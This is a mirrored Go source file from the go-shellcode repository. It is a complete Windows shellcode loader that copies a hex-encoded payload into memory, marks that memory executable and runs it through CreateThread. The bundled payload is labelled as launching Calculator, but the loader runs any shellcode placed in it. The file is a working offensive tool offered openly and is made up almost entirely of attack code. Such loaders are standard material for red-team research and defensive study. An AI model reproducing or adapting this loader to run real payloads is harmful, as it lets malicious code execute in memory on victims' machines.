mirror of
https://github.com/Ne0nd0g/go-shellcode
synced 2026-06-06 16:24:27 +00:00
Ne0nd0g
110 lines
3.8 KiB
Go
110 lines
3.8 KiB
Go
// +build windows
|
|
|
|
/*
|
|
This program executes shellcode in the current process using the following steps
|
|
1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
|
|
2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
|
|
3. Change the memory page permissions to Execute/Read with VirtualProtect
|
|
4. Call CreateThread on shellcode address
|
|
5. Call WaitForSingleObject so the program does not end before the shellcode is executed
|
|
|
|
This program leverages the functions from golang.org/x/sys/windows to call Windows procedures instead of manually loading them
|
|
*/
|
|
|
|
package main
|
|
|
|
import (
|
|
"encoding/hex"
|
|
"flag"
|
|
"fmt"
|
|
"log"
|
|
"unsafe"
|
|
|
|
// Sub Repositories
|
|
"golang.org/x/sys/windows"
|
|
)
|
|
|
|
func main() {
|
|
verbose := flag.Bool("verbose", false, "Enable verbose output")
|
|
debug := flag.Bool("debug", false, "Enable debug output")
|
|
flag.Parse()
|
|
|
|
// Pop Calc Shellcode
|
|
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
|
|
if errShellcode != nil {
|
|
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
|
|
}
|
|
|
|
if *debug {
|
|
fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode")
|
|
}
|
|
addr, errVirtualAlloc := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
|
|
|
|
if errVirtualAlloc != nil {
|
|
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
|
|
}
|
|
|
|
if addr == 0 {
|
|
log.Fatal("[!]VirtualAlloc failed and returned 0")
|
|
}
|
|
|
|
if *verbose {
|
|
fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode)))
|
|
}
|
|
|
|
if *debug {
|
|
fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory")
|
|
}
|
|
ntdll := windows.NewLazySystemDLL("ntdll.dll")
|
|
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
|
|
_, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
|
|
|
|
if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
|
|
log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
|
|
}
|
|
|
|
if *verbose {
|
|
fmt.Println("[-]Shellcode copied to memory")
|
|
}
|
|
|
|
if *debug {
|
|
fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ")
|
|
}
|
|
var oldProtect uint32
|
|
errVirtualProtect := windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)
|
|
if errVirtualProtect != nil {
|
|
log.Fatal(fmt.Sprintf("[!]Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error()))
|
|
}
|
|
if *verbose {
|
|
fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ")
|
|
}
|
|
|
|
if *debug {
|
|
fmt.Println("[DEBUG]Calling CreateThread...")
|
|
}
|
|
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
|
CreateThread := kernel32.NewProc("CreateThread")
|
|
thread, _, errCreateThread := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
|
|
|
|
if errCreateThread != nil && errCreateThread.Error() != "The operation completed successfully." {
|
|
log.Fatal(fmt.Sprintf("[!]Error calling CreateThread:\r\n%s", errCreateThread.Error()))
|
|
}
|
|
if *verbose {
|
|
fmt.Println("[+]Shellcode Executed")
|
|
}
|
|
|
|
if *debug {
|
|
fmt.Println("[DEBUG]Calling WaitForSingleObject...")
|
|
}
|
|
|
|
event, errWaitForSingleObject := windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)
|
|
if errWaitForSingleObject != nil {
|
|
log.Fatal(fmt.Sprintf("[!]Error calling WaitForSingleObject:\r\n:%s", errWaitForSingleObject.Error()))
|
|
}
|
|
if *verbose {
|
|
fmt.Println(fmt.Sprintf("[-]WaitForSingleObject returned with %d", event))
|
|
}
|
|
}
|
|
|
|
// export GOOS=windows GOARCH=amd64;go build -o goCreateThread.exe cmd/CreateThread/main.go
|